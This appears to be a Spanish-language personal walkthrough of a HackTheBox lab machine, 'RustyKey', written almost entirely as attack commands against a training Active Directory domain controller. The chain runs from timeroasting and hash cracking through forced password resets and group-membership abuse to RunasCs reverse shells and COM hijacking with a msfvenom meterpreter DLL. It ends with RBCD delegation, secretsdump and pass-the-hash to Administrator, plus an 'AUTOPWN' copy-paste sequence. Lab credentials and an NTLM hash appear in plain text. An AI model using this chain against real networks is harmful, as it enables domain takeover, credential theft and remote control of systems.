RustyKey (ACTIVE)

rr.parker \ 8#t5HE8L!W3A
ldapsearch -x -H ldap://10.10.11.75 -s base
sudo ntpdate -u 10.10.11.75
impacket-getTGT rustykey.htb/'rr.parker':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

export KRB5CCNAME=rr.parker.ccache
nxc smb DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users --shares
./kerbrute_linux_amd64 bruteforce -d rustykey.htb --dc 10.10.11.75 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/content/combs.txt -t 1
bloodhound-python  -d rustykey.htb -dc DC.rustykey.htb -ns 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A' -c All --zip -k

Timeroasting - HackTricks

python3 timeroast.py 10.10.11.75 > timeroast_hashes.txt 
nxc ldap DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --computers | awk '{print $5}' | grep '\$' | tr -d '\$' | tr '[:upper:]' '[:lower:]' > timeroast_wordlist.txt
python3 timecrack.py ../timeroast_hashes.txt timeroast_wordlist.txt
sudo ./hashcat.bin -m 31300 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/exploits/Timeroast/timeroast_hashes.txt /usr/share/wordlists/rockyou.txt
$sntp-ms$d793b7a6bee90dd588a0ae96fd770cde$1c0111e900000000000a44094c4f434ceca3461afd48f38ee1b8428bffbfcd0aeca39fce1d48c642eca39fce1d48fd9f:Rusty88!
IT-COMPUTER3$ \ Rusty88!
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75

export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'DD.ALI' '8#t5HE8L!W3A'
DD.ALI \ 8#t5HE8L!W3A
impacket-getTGT rustykey.htb/'DD.ALI':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

Con Ali parece ser que no podemos llegar a ningún lado y no parece tener ningún permiso especial

bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'GG.ANDERSON' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'GG.ANDERSON':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

La cuenta de gg.anderson está deshabilitada.

En resumen, el único usuario que podemos controlar parece ser DD.ALI, el resto o están deshabilitados o tiran error al obtener el ticket.

Los que tiran error al obtener el ticket es porque están en el grupo PROTECTED USERS, no podemos obtener un ticket usando cifrado RC4, tenemos que usar AES:

El permiso AddMember sobre Protected Objects también nos permite quitarlos, por lo que quitamos ambos grupos y así nos podemos loguear con estos usuarios.

bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'EE.REED':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

Parece ser que nos da error

nxc smb DC.rustykey.htb -u 'EE.REED' -p '8#t5HE8L!W3A' -k
SMB         DC.rustykey.htb 445    DC               [-] rustykey.htb\EE.REED:8#t5HE8L!W3A STATUS_LOGON_TYPE_NOT_GRANTED 

Vamos a probar con BB.MORGAN

bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

Con este si que nos deja:

nxc smb DC.rustykey.htb -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -k --shares
evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache

Una vez dentro podemos enviarnos rev shells por runas, para ello importante que no estén en Protected Objects, sino no saldrá la shell, pivotamos a EE.REED:

./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.73:4444

COM hijacking

COM son las siglas de "Component Object Model" (Modelo de Objetos Componente).

Es una tecnología fundamental de Microsoft, integrada en el sistema operativo Windows, que actúa como un "intermediario" universal. Su principal objetivo es permitir que diferentes piezas de software (componentes) se comuniquen e interactúen entre sí, incluso si fueron escritas en distintos lenguajes de programación.

¿Cómo funciona? El Registro y el CLSID

Aquí es donde se vuelve clave para entender el "hijacking". Para que este sistema funcione, Windows no busca los componentes por su nombre de archivo (como corrector.dll).

En su lugar, utiliza el Registro de Windows como un gigantesco directorio o "páginas amarillas":

  1. Cada componente COM registrado tiene un número de identificación único y universal llamado CLSID (Class ID).
  2. Cuando un programa necesita usar un componente (por ejemplo, el corrector ortográfico), le dice a Windows: "Oye, necesito cargar el componente con el CLSID {...un-número-largo...}".
  3. Windows busca ese CLSID en el Registro.
  4. El Registro le dice al sistema operativo dónde encontrar el archivo (.dll o .exe) real que debe cargar para usar esa función.

El ataque

El "secuestro de COM" explota precisamente este sistema de directorio.
El atacante no necesita modificar el archivo legítimo. En su lugar, engaña al Registro:

  1. Busca un CLSID de un componente legítimo que se use a menudo.
  2. Crea una entrada falsa en el Registro (específicamente en la parte del registro del usuario, HKEY_CURRENT_USER, que tiene prioridad sobre el registro del sistema, HKEY_LOCAL_MACHINE).
  3. Esta entrada falsa usa el mismo CLSID legítimo, pero le dice a Windows que el archivo .dll a cargar está en una ubicación diferente, apuntando al malware del atacante.

Comprobamos si existen CLSID, relacionados con softwares de compresión (como se menciona en el pdf):

reg query HKCR\CLSID /s /f "zip"

El de 7zip es el que más llama la atención:

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
    (Default)    REG_SZ    7-Zip Shell Extension

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
    (Default)    REG_SZ    C:\Program Files\7-Zip\7-zip.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.82 LPORT=5555 -f dll -o hack.dll

Modificamos el registro de windows para que el CLSID apunte a nuestro dll malicioso

reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Windows\TEMP\hack.dll" /f

HKLM -> Se necesitan privilegios de administrador para hacer este cambio, además este cambio afecta a todos los usuarios de la máquina, por lo que si otro usuario ejecuta 7zip recibiremos la shell como ese usuario.
/ve -> Se modifica el valor predeterminado (la ruta)

msfconsole

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp
getuid

shell

Como somos miembros de DelegationManager podemos editar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC (RBCD) para que así el DC permita a otros servicios o máquinas autenticarse como cualquier otro usuario contra el DC.

Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'IT-COMPUTER3$' #Assing delegation privileges

"Soy IT-COMPUTER3$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":

impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache
impacket-secretsdump rustykey.htb/'backupadmin'@DC.RUSTYKEY.HTB -k -no-pass -dc-ip 10.10.11.75
impacket-getTGT rustykey.htb/'Administrator' -hashes "aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26" -dc-ip DC.rustykey.htb
evil-winrm -i 10.10.11.75 -u 'Administrator' -r rustykey.htb -i DC.rustykey.htb -k Administrator.ccache

AUTOPWN

Para cada vez que tenga que conectarme a la máquina solo copiar y pegar:

impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75
export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'IT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
export KRB5CCNAME=BB.MORGAN.ccache
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'
evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache
./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.82:4444